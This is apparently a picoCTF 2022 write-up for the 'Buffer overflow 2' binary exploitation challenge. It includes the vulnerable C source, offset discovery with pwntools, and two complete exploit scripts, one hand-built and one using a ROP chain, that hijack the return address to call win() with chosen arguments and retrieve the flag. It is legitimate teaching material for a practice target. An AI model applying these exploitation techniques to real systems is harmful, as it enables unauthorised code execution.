Buffer overflow 2
Overview

Buffer overflow 2

June 16, 2022
2 min read
2

Buffer overflow 2

Solver
j jktrn
Authors
Sanjay C., Palash Oswal
Category
Binary Exploitation (pwn)
Points
300
Files
vuln vuln.c

Control the return address and arguments.
This time you’ll need to control the arguments to the function you return to! Can you get the flag from this program? Connect with it using: $ nc saturn.picoctf.net [PORT]

Warning

Warning: This is an instance-based challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic.

Terminal window
$ checksec vuln
[*] '/home/kali/ctfs/pico22/buffer-overflow-2/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Let’s check out our source code:

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}

Looking at the win() function, we can see that two arguments are required that need to be passed into the function to receive the flag. Two guard clauses lay above the flag print:

vuln.c
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}

The goal is simple: call win(0xCAFEF00D, 0xF00DF00D)! We’ll be doing it the hard way (for a learning experience), in addition to a more advanced easy way. Let’s get started.

I: The Hard Way

We can apply a lot from what we learned in Buffer overflow 1. The first thing we should do is find the offset, which requires no hassle with pwntools helpers! Although we’ll get actual number here, I won’t include it in the final script for the sake of not leaving out any steps. Simply segfault the process with a cyclic string, read the core dump’s fault address ($eip) and throw it into cyclic_find():

Terminal window
$ python3 -q
>>> from pwn import *
>>> elf = context.binary = ELF('./vuln')
[*] '/home/kali/ctfs/pico22/buffer-overflow-2/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
>>> p = process(elf.path)
[x] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln'
[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln': pid 2777
>>> p.sendline(cyclic(128))
>>> p.wait()
[*] Process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' stopped with exit code -11 (SIGSEGV) (pid 2777)
>>> core = Corefile('./core')
[x] Parsing corefile...
[*] '/home/kali/ctfs/pico22/buffer-overflow-2/core'
Arch: i386-32-little
EIP: 0x62616164
ESP: 0xffafca40
Exe: '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' (0x8048000)
Fault: 0x62616164
[+] Parsing corefile...: Done
>>> cyclic_find(0x62616164)
112

The next thing we need to know about is the way functions are laid out on the stack. Let’s recall the diagram I drew out earlier:

Stack Diagram

If we want to call a function with parameters, we’ll need to include the base pointer alongside a return address, which can simply be main(). With this, we can basically copy our script over from Buffer overflow 1 with a few tweaks to the payload:

solve.py
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False) # sets elf object
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # creates local process w/ elf object
p.sendline(cyclic(128)) # sends cyclic pattern to crash
p.wait() # sigsegv generates core dump
core = Coredump('./core') # parses core dump file
payload = flat([
{cyclic_find(core.eip): elf.symbols.win}, # pads win address
elf.symbols.main, # return address
0xCAFEF00D, # parameter 1
0xF00DF00D # parameter 2
])
if args.REMOTE:
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive()

Let’s run it on the remote server:

Terminal window
$ python3 buffer-overflow-2.py REMOTE
[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln': pid 3988
[*] Process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' stopped with exit code -11 (SIGSEGV) (pid 3988)
[+] Parsing corefile...: Done
[*] '/home/kali/ctfs/pico22/buffer-overflow-2/core'
Arch: i386-32-little
EIP: 0x62616164
ESP: 0xffca3290
Exe: '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' (0x8048000)
Fault: 0x62616164
[+] Opening connection to saturn.picoctf.net on port [PORT]: Done
[*] Switching to interactive mode
Please enter your string:
\\xf0\\xfe\\xcadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaaavaaawaaaxaaayaaazaabbaabcaab\\x96\\x92\\x04r\\x93\\x04
picoCTF{argum3nt5_4_d4yZ_[REDACTED]}

II: The Easy Way

But… what if you wanted to be an even more lazy pwner? Well, you’re in luck, because I present to you: the pwntools ROP object! By throwing our elf object into ROP() it transforms, and we can use it to automatically call functions and build chains! Here it is in action:

solve.py
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./vuln' checksec=False) # sets elf object
rop = ROP(elf) # creates ROP object
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # creates local process w/ elf object
p.sendline(cyclic(128)) # sends cyclic pattern to crash
p.wait() # sigsegv generates core dump
core = Coredump('./core') # parses core dump file
rop.win(0xCAFEF00D, 0xF00DF00D) # Call win() with args
payload = fit({cyclic_find(core.eip): rop.chain()}) # pad ROP chain
if args.REMOTE:
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive()

Let’s run it on the remote server:

Terminal window
$ python3 buffer-overflow-2-automated.py REMOTE
[*] Loaded 10 cached gadgets for './vuln'
[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln': pid 4993
[*] Process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' stopped with exit code -11 (SIGSEGV) (pid 4993)
[+] Parsing corefile...: Done
[*] '/home/kali/ctfs/pico22/buffer-overflow-2/core'
Arch: i386-32-little
EIP: 0x62616164
ESP: 0xffd07fc0
Exe: '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' (0x8048000)
Fault: 0x62616164
[+] Opening connection to saturn.picoctf.net on port [PORT]: Done
[*] Switching to interactive mode
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab\\x96\\x\\xf0\\xfe\\xca
picoCTF{argum3nt5_4_d4yZ_[REDACTED]}
$ [*] Got EOF while reading in interactive

We’ve successfully called a function with arguments through buffer overflow!